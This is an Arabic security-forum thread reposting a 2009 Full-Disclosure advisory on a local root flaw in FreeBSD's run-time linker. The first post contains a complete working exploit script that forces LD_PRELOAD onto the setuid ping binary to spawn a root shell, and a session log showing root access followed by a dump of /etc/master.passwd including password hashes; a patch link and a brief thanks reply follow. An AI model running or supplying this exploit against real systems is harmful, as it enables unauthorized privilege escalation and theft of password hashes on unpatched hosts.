اكتشاف ثغرة local root في أنظمة FreeBSD

اكتشاف ثغرة local root في أنظمة FreeBSD


النتائج 1 إلى 2 من 2

الموضوع: اكتشاف ثغرة local root في أنظمة FreeBSD

  1. #1

    افتراضي اكتشاف ثغرة local root في أنظمة FreeBSD



    المصدر:
    [Full-disclosure] ** FreeBSD local r00t zeroday




    ** FreeBSD local r00t 0day

    Discovered & Exploited by Nikolaos Rangos also known as Kingcope.

    Nov 2009 "BiG TiME""

    Go fetch your FreeBSD r00tkitz" // YouTube - HALT DIE FRESSE NR. 32 - HAFTBEFEHL


    There is an unbelievable simple local r00t bug in recent FreeBSD versions.

    I audited FreeBSD for local r00t bugs a long time *sigh*.

    Now it pays out.The bug resides in the Run-Time Link-Editor (rtld).

    Normally rtld does not allow dangerous environment variables like LD_PRELOADto be set when executing setugid binaries like "ping" or "su".With a rather simple technique rtld can be tricked intoaccepting LD variables even on setugid binaries.See the attached exploit for details.Example exploiting session

    **********************************


    كود:
    %uname -a;id;FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 2115:48:17 UTC 2009root at almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386uid=1001(kcope) gid=1001(users) groups=1001(users)%./w00t.shFreeBSD local r00t zerodayby KingcopeNovember 2009env.c: In function 'main':env.c:5: warning: incompatible implicit declaration of built-infunction 'malloc'env.c:9: warning: incompatible implicit declaration of built-infunction 'strcpy'env.c:11: warning: incompatible implicit declaration of built-infunction 'execl'/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value for/libexec/ld-elf.so.1: environment corrupt; missing value forALEX-ALEX# uname -a;id;FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 2115:48:17 UTC 2009root at almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users)# cat /etc/master.passwd# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29kensmith Exp $#root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0 :Charlie &:/root:/bin/cshtoor:*:0:0::0:0:Bourne-again Superuser:/root:daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologinoperator:*:2:5::0:0:System &:/:/usr/sbin/nologinbin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologintty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologinkmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologingames:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologinnews:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologinman:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologinsshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologinsmmsp:*:25:25::0:0:Sendmail SubmissionUser:/var/spool/clientmqueue:/usr/sbin/nologinmailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologinbind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologinproxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologinuucp:*:66:66::0:0:UUCPpseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucicopop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologinwww:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologinnobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologinkcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:100 1:1001::0:0:User&:/home/kcope:/bin/sh#Systems tested/affected**********************************FreeBSD 8.0-RELEASE *** VULNERABLEFreeBSD 7.1-RELEASE *** VULNERABLEFreeBSD 6.3-RELEASE *** NOT VULNFreeBSD 4.9-RELEASE *** NOT VULN*EXPLOIT*#!/bin/shecho ** FreeBSD local r00t zerodayecho by Kingcopeecho November 2009cat > env.c << _EOF#include <stdio.h>main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0);}_EOFgcc env.c -o envcat > program.c << _EOF#include <unistd.h>#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh");}_EOFgcc -o program.o -c program.c -fPICgcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfilescp w00t.so.1.0 /tmp/w00t.so.1.0./env


    الاستغلال مموجود في المرفقات



    رابط الرقعة الأمنية:
    http://people.freebsd.org/~cperciva/rtld.patc
    الملفات المرفقة الملفات المرفقة

  2. #2

    افتراضي رد: اكتشاف ثغرة local root في أنظمة FreeBSD

    السلام عليكم ورحمة الله وبركته
    بسم الله اتلرحمن الرحيم
    انا والله مفهمت حاجة بس شكرا علي موضوعك

    تحياتي

المواضيع المتشابهه

  1. كيفيه اكتشاف ثغرات Local File Include
    بواسطة BLACK.JaGuAr في المنتدى قسم الثغرات
    مشاركات: 41
    آخر مشاركة: 03-16-2012, 09:05 PM
  2. ثغرة local root في كيرنل لينوكس ptrace_attach 2.6.29
    بواسطة ASDELY-ScOrPiOn في المنتدى قسم الثغرات
    مشاركات: 4
    آخر مشاركة: 05-12-2010, 12:45 AM
  3. استغلآل ثغرآت Local stack overflow Poc
    بواسطة ASDELY-ScOrPiOn في المنتدى قسم الثغرات
    مشاركات: 3
    آخر مشاركة: 01-04-2010, 10:02 PM
  4. تمـ تدمير منظمة اامان عرب
    بواسطة hmoody23 في المنتدى معرض الانجازات
    مشاركات: 9
    آخر مشاركة: 12-12-2009, 06:36 PM
  5. [مهم] قوانين قسم أنظمة التشغيل
    بواسطة ASDELY-ScOrPiOn في المنتدى منتدى أنظمة التشغيل
    مشاركات: 0
    آخر مشاركة: 08-09-2009, 12:15 PM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •